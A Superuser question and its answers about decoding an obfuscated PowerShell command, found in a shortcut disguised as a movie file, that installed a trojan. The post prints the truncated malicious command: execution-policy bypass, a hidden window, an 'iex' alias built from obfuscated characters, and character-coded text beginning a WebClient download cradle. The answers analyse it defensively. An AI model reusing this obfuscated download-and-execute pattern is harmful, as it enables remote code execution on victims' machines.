Title: How to decode possible malware powershell command
Tags: powershell;malware
Question: I got a file which should have been a movie but turned out to be a shortcut to execute a powershell command. The details are:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP  &amp;( $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'')( ('73w69Y88!40%78%101Y119%45!79c98!106%101!99!116c32c83G121Y115w116v101!109c46w78w101%116u46v87c101Y98%67%108b105:101w110G116%.
Can someone advise what this powershell command would do or where I can find details of how to decode it
Thanks
Comment: The file (while 750MB in size and appearing to be a movie file) is actually a shortcut and the command line above is the target of the shortcut. I've checked and there is nothing else there so if there is anything missing it must somehow be in the payload.

Comment: Prematurely posted previous comment. Ran Malwarebytes which identified a Trojan installation install around the time I ran the shortcut so it was malware.

Comment: [1] run `powershell.exe /?` to see what the 1st three `-something` items are. [2] run `( $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'')` to see what that is. if you are not familiar with aliases, run `Get-Alias` with the output of that. [3] the remainder is likely the beginning of a base64 encoded command. it is NOT all there, so there is no way to be sure of that.

Comment: Do not run any portion of the command if you are not sure what you are doing and you believe the command to be malicious.


Here is another answer: powershell.exe -NoPr -WINd 1 -eXEc ByP is powershell.exe -NoProfile -WindowStyle 1 -ExecutionPolicy bypass
The command it tries to execute $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'' is actually iex which is an alias for Invoke-Expression
I believe you've missed a part of the command line so it's hard to tell what the rest of it means.

{'source': 'StackExchangeDataset', 'subset': 'superuser.com', 'metadata': {'AnswerCount': 1, 'CommentCount': 4, 'ContentLicense': 'CC BY-SA 4.0', 'CreationDate': '2018:00:12/29/18', 'FavoriteCount': None, 'PostTypeId': 1, 'Tags': '<powershell><malware>', 'Title': 'How to decode possible malware powershell command', 'ViewCount': 1233, 'id': 1388724, 'user_AboutMe': None, 'user_AccountId': 12472102.0, 'user_DisplayName': 'kfbnlet', 'user_Reputation': 1.0, 'user_Views': 9.0, 'user_id': 978830.0}}